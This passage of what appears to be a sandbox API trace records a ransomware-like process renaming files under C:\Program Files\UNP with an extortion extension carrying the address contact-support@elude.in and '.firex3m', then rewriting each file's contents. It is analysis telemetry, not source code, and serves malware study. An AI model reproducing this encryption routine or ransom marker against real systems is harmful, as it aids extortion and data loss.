lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesWritten=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.796] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.796] WriteFile (in: hFile=0x674, lpBuffer=0x74aad3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aad3f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.796] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.796] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.796] CloseHandle (hObject=0x674) returned 1 [0225.796] GetProcessHeap () returned 0x630000 [0225.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0225.796] GetProcessHeap () returned 0x630000 [0225.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0225.796] GetProcessHeap () returned 0x630000 [0225.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0225.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c88deb8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x333fd20, dwReserved1=0x74aa440, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0225.956] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0225.956] Sleep (dwMilliseconds=0x1) [0225.991] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml") returned 1 [0225.991] GetProcessHeap () returned 0x630000 [0225.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0225.991] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0225.991] CloseHandle (hObject=0x3f8) returned 1 [0225.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.992] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0225.993] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0225.993] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0225.993] GetProcessHeap () returned 0x630000 [0225.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x710a418 [0225.993] GetProcessHeap () returned 0x630000 [0225.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x7108cd8 [0225.993] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.993] ReadFile (in: hFile=0x3f8, lpBuffer=0x710a418, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710a418*, lpNumberOfBytesRead=0x333ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0226.043] GetProcessHeap () returned 0x630000 [0226.043] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0226.043] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.043] WriteFile (in: hFile=0x3f8, lpBuffer=0x7108cd8*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7108cd8*, lpNumberOfBytesWritten=0x333ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0226.043] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.043] WriteFile (in: hFile=0x3f8, lpBuffer=0x7108f77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7108f77*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.044] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.044] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.044] CloseHandle (hObject=0x3f8) returned 1 [0226.088] GetProcessHeap () returned 0x630000 [0226.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7108cd8 | out: hHeap=0x630000) returned 1 [0226.088] GetProcessHeap () returned 0x630000 [0226.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710a418 | out: hHeap=0x630000) returned 1 [0226.088] GetProcessHeap () returned 0x630000 [0226.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0226.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4caf0682, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x333fd20, dwReserved1=0x710a418, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0226.095] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0226.097] Sleep (dwMilliseconds=0x1) [0226.108] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl", len=0x3f | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl") returned 1 [0226.108] GetProcessHeap () returned 0x630000 [0226.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b4) returned 0x6fe3bb0 [0226.108] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0226.131] CloseHandle (hObject=0x608) returned 1 [0226.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.132] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNFF53~1.FIR")) returned 0x6d5000 [0226.187] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0226.187] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0226.188] GetProcessHeap () returned 0x630000 [0226.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0226.188] GetProcessHeap () returned 0x630000 [0226.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70dd910 [0226.189] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.189] ReadFile (in: hFile=0x608, lpBuffer=0x711d230, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0231.916] GetProcessHeap () returned 0x630000 [0231.916] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0231.916] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.916] WriteFile (in: hFile=0x608, lpBuffer=0x70dd910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.131] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.131] WriteFile (in: hFile=0x608, lpBuffer=0x70e8d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d0f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.750] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.750] WriteFile (in: hFile=0x608, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.750] CloseHandle (hObject=0x608) returned 1 [0233.963] GetProcessHeap () returned 0x630000 [0233.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0233.964] GetProcessHeap () returned 0x630000 [0233.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0233.964] GetProcessHeap () returned 0x630000 [0233.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0233.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x5145defb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xc1c7496, dwReserved1=0x711d228, cFileName="UniversalNotificationPlatform.021.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNFF53~1.FIR")) returned 0x6d4f80 [0233.973] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.139] Sleep (dwMilliseconds=0x1) [0235.160] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml") returned 1 [0235.160] GetProcessHeap () returned 0x630000 [0235.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a8) returned 0x6fe3bb0 [0235.160] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.160] CloseHandle (hObject=0x640) returned 1 [0235.160] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.161] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.162] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.162] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.162] GetProcessHeap () returned 0x630000 [0235.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.162] GetProcessHeap () returned 0x630000 [0235.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.162] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.162] ReadFile (in: hFile=0x640, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x333ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.164] GetProcessHeap () returned 0x630000 [0235.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0235.164] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.164] WriteFile (in: hFile=0x640, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x333ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.164] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x640, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.165] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.165] CloseHandle (hObject=0x640) returned 1 [0235.165] GetProcessHeap () returned 0x630000 [0235.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.165] GetProcessHeap () returned 0x630000 [0235.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.165] GetProcessHeap () returned 0x630000 [0235.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0235.165] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x521d8709, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x333fd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.165] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.165] Sleep (dwMilliseconds=0x1) [0235.189] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml") returned 1 [0235.189] GetProcessHeap () returned 0x630000 [0235.189] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5090) returned 0x6fe3bb0 [0235.189] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.189] CloseHandle (hObject=0x4bc) returned 1 [0235.189] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.190] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 